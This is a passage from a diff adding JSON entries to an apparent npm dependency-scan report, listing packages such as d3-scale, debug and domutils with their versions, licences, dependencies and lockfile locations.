+ "EndLine": 4104
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "color-string@2.1.4",
+ "Name": "color-string",
+ "Identifier": {
+ "PURL": "pkg:npm/color-string@2.1.4",
+ "UID": "603f3865c91b523c"
+ },
+ "Version": "2.1.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "color-name@2.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2273,
+ "EndLine": 2284
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "combined-stream@1.0.8",
+ "Name": "combined-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/combined-stream@1.0.8",
+ "UID": "fe1cd1fb7e81fc57"
+ },
+ "Version": "1.0.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "delayed-stream@1.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4105,
+ "EndLine": 4116
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "commander@10.0.1",
+ "Name": "commander",
+ "Identifier": {
+ "PURL": "pkg:npm/commander@10.0.1",
+ "UID": "47a2eae64706a871"
+ },
+ "Version": "10.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4117,
+ "EndLine": 4125
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "commander@4.1.1",
+ "Name": "commander",
+ "Identifier": {
+ "PURL": "pkg:npm/commander@4.1.1",
+ "UID": "79b3ef7bed5006a6"
+ },
+ "Version": "4.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9403,
+ "EndLine": 9411
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "concat-stream@1.6.2",
+ "Name": "concat-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/concat-stream@1.6.2",
+ "UID": "6facc0f38d10541d"
+ },
+ "Version": "1.6.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "buffer-from@1.1.2",
+ "inherits@2.0.4",
+ "readable-stream@2.3.8",
+ "typedarray@0.0.6"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4143,
+ "EndLine": 4157
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "config-chain@1.1.13",
+ "Name": "config-chain",
+ "Identifier": {
+ "PURL": "pkg:npm/config-chain@1.1.13",
+ "UID": "6d23acd866c910fc"
+ },
+ "Version": "1.1.13",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ini@1.3.8",
+ "proto-list@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4195,
+ "EndLine": 4204
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "content-disposition@0.5.4",
+ "Name": "content-disposition",
+ "Identifier": {
+ "PURL": "pkg:npm/content-disposition@0.5.4",
+ "UID": "1beb7892521d7812"
+ },
+ "Version": "0.5.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "safe-buffer@5.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4205,
+ "EndLine": 4216
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "content-type@1.0.5",
+ "Name": "content-type",
+ "Identifier": {
+ "PURL": "pkg:npm/content-type@1.0.5",
+ "UID": "3a35cac88a3f69b9"
+ },
+ "Version": "1.0.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4217,
+ "EndLine": 4225
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cookie@0.7.2",
+ "Name": "cookie",
+ "Identifier": {
+ "PURL": "pkg:npm/cookie@0.7.2",
+ "UID": "3a81a7ef9422ca0f"
+ },
+ "Version": "0.7.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4857,
+ "EndLine": 4865
+ },
+ {
+ "StartLine": 5286,
+ "EndLine": 5294
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cookie-signature@1.0.7",
+ "Name": "cookie-signature",
+ "Identifier": {
+ "PURL": "pkg:npm/cookie-signature@1.0.7",
+ "UID": "296f759da591d7e5"
+ },
+ "Version": "1.0.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4226,
+ "EndLine": 4231
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "core-util-is@1.0.3",
+ "Name": "core-util-is",
+ "Identifier": {
+ "PURL": "pkg:npm/core-util-is@1.0.3",
+ "UID": "c282bce9a7cb2697"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4239,
+ "EndLine": 4244
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cors@2.8.6",
+ "Name": "cors",
+ "Identifier": {
+ "PURL": "pkg:npm/cors@2.8.6",
+ "UID": "bbe2994275b68cb0"
+ },
+ "Version": "2.8.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "object-assign@4.1.1",
+ "vary@1.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4245,
+ "EndLine": 4261
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cross-fetch@3.2.0",
+ "Name": "cross-fetch",
+ "Identifier": {
+ "PURL": "pkg:npm/cross-fetch@3.2.0",
+ "UID": "6f62ef99ddb4cb40"
+ },
+ "Version": "3.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "node-fetch@2.7.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4269,
+ "EndLine": 4277
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cross-spawn@7.0.6",
+ "Name": "cross-spawn",
+ "Identifier": {
+ "PURL": "pkg:npm/cross-spawn@7.0.6",
+ "UID": "87826261a744d7d0"
+ },
+ "Version": "7.0.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "path-key@3.1.1",
+ "shebang-command@2.0.0",
+ "which@2.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4278,
+ "EndLine": 4291
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "crypto-js@4.2.0",
+ "Name": "crypto-js",
+ "Identifier": {
+ "PURL": "pkg:npm/crypto-js@4.2.0",
+ "UID": "39df18643050ea17"
+ },
+ "Version": "4.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4292,
+ "EndLine": 4297
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cssesc@3.0.0",
+ "Name": "cssesc",
+ "Identifier": {
+ "PURL": "pkg:npm/cssesc@3.0.0",
+ "UID": "5dff2095c5fb3dd6"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4298,
+ "EndLine": 4309
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "csstype@3.2.3",
+ "Name": "csstype",
+ "Identifier": {
+ "PURL": "pkg:npm/csstype@3.2.3",
+ "UID": "8eb9bdc050ee4ac5"
+ },
+ "Version": "3.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4310,
+ "EndLine": 4315
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-array@3.2.4",
+ "Name": "d3-array",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-array@3.2.4",
+ "UID": "6d4d570a45eb3e35"
+ },
+ "Version": "3.2.4",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "internmap@2.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4316,
+ "EndLine": 4327
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-color@3.1.0",
+ "Name": "d3-color",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-color@3.1.0",
+ "UID": "58725878eb3acec2"
+ },
+ "Version": "3.1.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4328,
+ "EndLine": 4336
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-ease@3.0.1",
+ "Name": "d3-ease",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-ease@3.0.1",
+ "UID": "89ab479ea18eebd5"
+ },
+ "Version": "3.0.1",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4337,
+ "EndLine": 4345
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-format@3.1.2",
+ "Name": "d3-format",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-format@3.1.2",
+ "UID": "187a755e05ee20c3"
+ },
+ "Version": "3.1.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4346,
+ "EndLine": 4354
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-interpolate@3.0.1",
+ "Name": "d3-interpolate",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-interpolate@3.0.1",
+ "UID": "58e3f9a6afa20b63"
+ },
+ "Version": "3.0.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "d3-color@3.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4355,
+ "EndLine": 4366
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-path@3.1.0",
+ "Name": "d3-path",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-path@3.1.0",
+ "UID": "ca6858178c7bfb0f"
+ },
+ "Version": "3.1.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4367,
+ "EndLine": 4375
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-scale@4.0.2",
+ "Name": "d3-scale",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-scale@4.0.2",
+ "UID": "ab0b3928ecc64368"
+ },
+ "Version": "4.0.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "d3-array@3.2.4",
+ "d3-format@3.1.2",
+ "d3-interpolate@3.0.1",
+ "d3-time-format@4.1.0",
+ "d3-time@3.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4376,
+ "EndLine": 4391
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-shape@3.2.0",
+ "Name": "d3-shape",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-shape@3.2.0",
+ "UID": "179ced7621d12a81"
+ },
+ "Version": "3.2.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "d3-path@3.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4392,
+ "EndLine": 4403
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-time@3.1.0",
+ "Name": "d3-time",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-time@3.1.0",
+ "UID": "ddf68c220fcf68a4"
+ },
+ "Version": "3.1.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "d3-array@3.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4404,
+ "EndLine": 4415
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-time-format@4.1.0",
+ "Name": "d3-time-format",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-time-format@4.1.0",
+ "UID": "547928f13212328f"
+ },
+ "Version": "4.1.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "d3-time@3.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4416,
+ "EndLine": 4427
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "d3-timer@3.0.1",
+ "Name": "d3-timer",
+ "Identifier": {
+ "PURL": "pkg:npm/d3-timer@3.0.1",
+ "UID": "95f8f4d00521c839"
+ },
+ "Version": "3.0.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4428,
+ "EndLine": 4436
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "dayjs@1.11.20",
+ "Name": "dayjs",
+ "Identifier": {
+ "PURL": "pkg:npm/dayjs@1.11.20",
+ "UID": "e5966cc27d5f1a2f"
+ },
+ "Version": "1.11.20",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4437,
+ "EndLine": 4442
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "debug@2.6.9",
+ "Name": "debug",
+ "Identifier": {
+ "PURL": "pkg:npm/debug@2.6.9",
+ "UID": "548fabf9b3b50691"
+ },
+ "Version": "2.6.9",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ms@2.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3721,
+ "EndLine": 3729
+ },
+ {
+ "StartLine": 5295,
+ "EndLine": 5303
+ },
+ {
+ "StartLine": 5498,
+ "EndLine": 5506
+ },
+ {
+ "StartLine": 7154,
+ "EndLine": 7162
+ },
+ {
+ "StartLine": 8849,
+ "EndLine": 8857
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "debug@4.4.3",
+ "Name": "debug",
+ "Identifier": {
+ "PURL": "pkg:npm/debug@4.4.3",
+ "UID": "e6a3b087d45c93ce"
+ },
+ "Version": "4.4.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ms@2.1.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4443,
+ "EndLine": 4459
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "decamelize@1.2.0",
+ "Name": "decamelize",
+ "Identifier": {
+ "PURL": "pkg:npm/decamelize@1.2.0",
+ "UID": "bf8d7cfcaf329a71"
+ },
+ "Version": "1.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4460,
+ "EndLine": 4468
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "decimal.js-light@2.5.1",
+ "Name": "decimal.js-light",
+ "Identifier": {
+ "PURL": "pkg:npm/decimal.js-light@2.5.1",
+ "UID": "74f42d37d77d1ac8"
+ },
+ "Version": "2.5.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4469,
+ "EndLine": 4474
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "deepmerge@4.3.1",
+ "Name": "deepmerge",
+ "Identifier": {
+ "PURL": "pkg:npm/deepmerge@4.3.1",
+ "UID": "a4377e2cca96d504"
+ },
+ "Version": "4.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4495,
+ "EndLine": 4503
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "delayed-stream@1.0.0",
+ "Name": "delayed-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/delayed-stream@1.0.0",
+ "UID": "67085ac34a7e299e"
+ },
+ "Version": "1.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4504,
+ "EndLine": 4512
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "denque@2.1.0",
+ "Name": "denque",
+ "Identifier": {
+ "PURL": "pkg:npm/denque@2.1.0",
+ "UID": "dfc3f320de2c9473"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4513,
+ "EndLine": 4521
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "depd@2.0.0",
+ "Name": "depd",
+ "Identifier": {
+ "PURL": "pkg:npm/depd@2.0.0",
+ "UID": "1da92b3ff3fc3d41"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4522,
+ "EndLine": 4530
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "destroy@1.2.0",
+ "Name": "destroy",
+ "Identifier": {
+ "PURL": "pkg:npm/destroy@1.2.0",
+ "UID": "66f597e3ee331c3b"
+ },
+ "Version": "1.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4531,
+ "EndLine": 4540
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "detect-libc@2.1.2",
+ "Name": "detect-libc",
+ "Identifier": {
+ "PURL": "pkg:npm/detect-libc@2.1.2",
+ "UID": "f1a366f4bcb78238"
+ },
+ "Version": "2.1.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4541,
+ "EndLine": 4549
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "dfa@1.2.0",
+ "Name": "dfa",
+ "Identifier": {
+ "PURL": "pkg:npm/dfa@1.2.0",
+ "UID": "d8f21e0fd40f177e"
+ },
+ "Version": "1.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4561,
+ "EndLine": 4566
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "didyoumean@1.2.2",
+ "Name": "didyoumean",
+ "Identifier": {
+ "PURL": "pkg:npm/didyoumean@1.2.2",
+ "UID": "998677f79bbfc962"
+ },
+ "Version": "1.2.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4567,
+ "EndLine": 4572
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "dijkstrajs@1.0.3",
+ "Name": "dijkstrajs",
+ "Identifier": {
+ "PURL": "pkg:npm/dijkstrajs@1.0.3",
+ "UID": "e9f1fbd8d50ca204"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4593,
+ "EndLine": 4598
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "dlv@1.1.3",
+ "Name": "dlv",
+ "Identifier": {
+ "PURL": "pkg:npm/dlv@1.1.3",
+ "UID": "b3d56ddae9e54844"
+ },
+ "Version": "1.1.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4599,
+ "EndLine": 4604
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "dom-helpers@5.2.1",
+ "Name": "dom-helpers",
+ "Identifier": {
+ "PURL": "pkg:npm/dom-helpers@5.2.1",
+ "UID": "c712a39795eff141"
+ },
+ "Version": "5.2.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "csstype@3.2.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4618,
+ "EndLine": 4627
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "dom-serializer@2.0.0",
+ "Name": "dom-serializer",
+ "Identifier": {
+ "PURL": "pkg:npm/dom-serializer@2.0.0",
+ "UID": "74ee4dc5dee4ba46"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "domelementtype@2.3.0",
+ "domhandler@5.0.3",
+ "entities@4.5.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4628,
+ "EndLine": 4641
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "domelementtype@2.3.0",
+ "Name": "domelementtype",
+ "Identifier": {
+ "PURL": "pkg:npm/domelementtype@2.3.0",
+ "UID": "9f0efdd288a8c58d"
+ },
+ "Version": "2.3.0",
+ "Licenses": [
+ "BSD-2-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4642,
+ "EndLine": 4653
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "domhandler@5.0.3",
+ "Name": "domhandler",
+ "Identifier": {
+ "PURL": "pkg:npm/domhandler@5.0.3",
+ "UID": "b6edd45a9328e769"
+ },
+ "Version": "5.0.3",
+ "Licenses": [
+ "BSD-2-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "domelementtype@2.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4654,
+ "EndLine": 4668
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "domutils@3.2.2",
+ "Name": "domutils",
+ "Identifier": {
+ "PURL": "pkg:npm/domutils@3.2.2",
+ "UID": "586625ab6548cde7"
+ },
+ "Version": "3.2.2",
+ "Licenses": [
+ "BSD-2-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "dom-serializer@2.0.0",
+ "domelementtype@2.3.0",
+ "domhandler@5.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4669,
+ "EndLine": 4682
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "dunder-proto@1.0.1",
+ "Name": "dunder-proto",
+ "Identifier": {
+ "PURL": "pkg:npm/dunder-proto@1.0.1",
+ "UID": "caa1c5fe4eacf59"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "call-bind-apply-helpers@1.0.2",
+ "es-errors@1.3.0",
+ "gopd@1.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4683,
+ "EndLine": 4696
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "duplexify@4.1.3",
+ "Name": "duplexify",
+ "Identifier": {
+ "PURL": "pkg:npm/duplexify@4.1.3",
+ "UID": "ce9a36455bc13238"
+ },
+ "Version": "4.1.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "end-of-stream@1.4.5",
+ "inherits@2.0.4",
+ "readable-stream@3.6.2",
+ "stream-shift@1.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4697,
+ "EndLine": 4709
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "eastasianwidth@0.2.0",
+ "Name": "eastasianwidth",
+ "Identifier": {
+ "PURL": "pkg:npm/eastasianwidth@0.2.0",
+ "UID": "4fe58d52d331c63c"
+ },
+ "Version": "0.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4720,
+ "EndLine": 4725
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ecdsa-sig-formatter@1.0.11",
+ "Name": "ecdsa-sig-formatter",
+ "Identifier": {
+ "PURL": "pkg:npm/ecdsa-sig-formatter@1.0.11",
+ "UID": "e12afe03cccb0f"
+ },
+ "Version": "1.0.11",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "safe-buffer@5.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4726,
+ "EndLine": 4734
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "editorconfig@1.0.7",
+ "Name": "editorconfig",
+ "Identifier": {
+ "PURL": "pkg:npm/editorconfig@1.0.7",
+ "UID": "47246deb634f5a16"
+ },
+ "Version": "1.0.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@one-ini/wasm@0.1.1",
+ "commander@10.0.1",
+ "minimatch@9.0.9",
+ "semver@7.7.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4735,
+ "EndLine": 4752
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ee-first@1.1.1",
+ "Name": "ee-first",
+ "Identifier": {
+ "PURL": "pkg:npm/ee-first@1.1.1",
+ "UID": "37d7854e90676854"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4777,
+ "EndLine": 4782
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "electron-to-chromium@1.5.345",
+ "Name": "electron-to-chromium",
+ "Identifier": {
+ "PURL": "pkg:npm/electron-to-chromium@1.5.345",
+ "UID": "a1d66703431b62aa"
+ },
+ "Version": "1.5.345",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4783,
+ "EndLine": 4788
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "emoji-regex@10.6.0",
+ "Name": "emoji-regex",
+ "Identifier": {
+ "PURL": "pkg:npm/emoji-regex@10.6.0",
+ "UID": "c1aa8f0b64cbd63e"
+ },
+ "Version": "10.6.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4789,
+ "EndLine": 4794
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "emoji-regex@8.0.0",
+ "Name": "emoji-regex",
+ "Identifier": {
+ "PURL": "pkg:npm/emoji-regex@8.0.0",
+ "UID": "21f72324e410c5a7"
+ },
+ "Version": "8.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9245,
+ "EndLine": 9250
+ },
+ {
+ "StartLine": 9251,
+ "EndLine": 9256
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "emoji-regex@9.2.2",
+ "Name": "emoji-regex",
+ "Identifier": {
+ "PURL": "pkg:npm/emoji-regex@9.2.2",
+ "UID": "6c8187854ba26ed"
+ },
+ "Version": "9.2.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1462,
+ "EndLine": 1467
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "encodeurl@2.0.0",
+ "Name": "encodeurl",
+ "Identifier": {
+ "PURL": "pkg:npm/encodeurl@2.0.0",
+ "UID": "412e2fc13b372e4c"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4795,
+ "EndLine": 4803
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "end-of-stream@1.4.5",
+ "Name": "end-of-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/end-of-stream@1.4.5",
+ "UID": "f8f295ff3dbce53f"
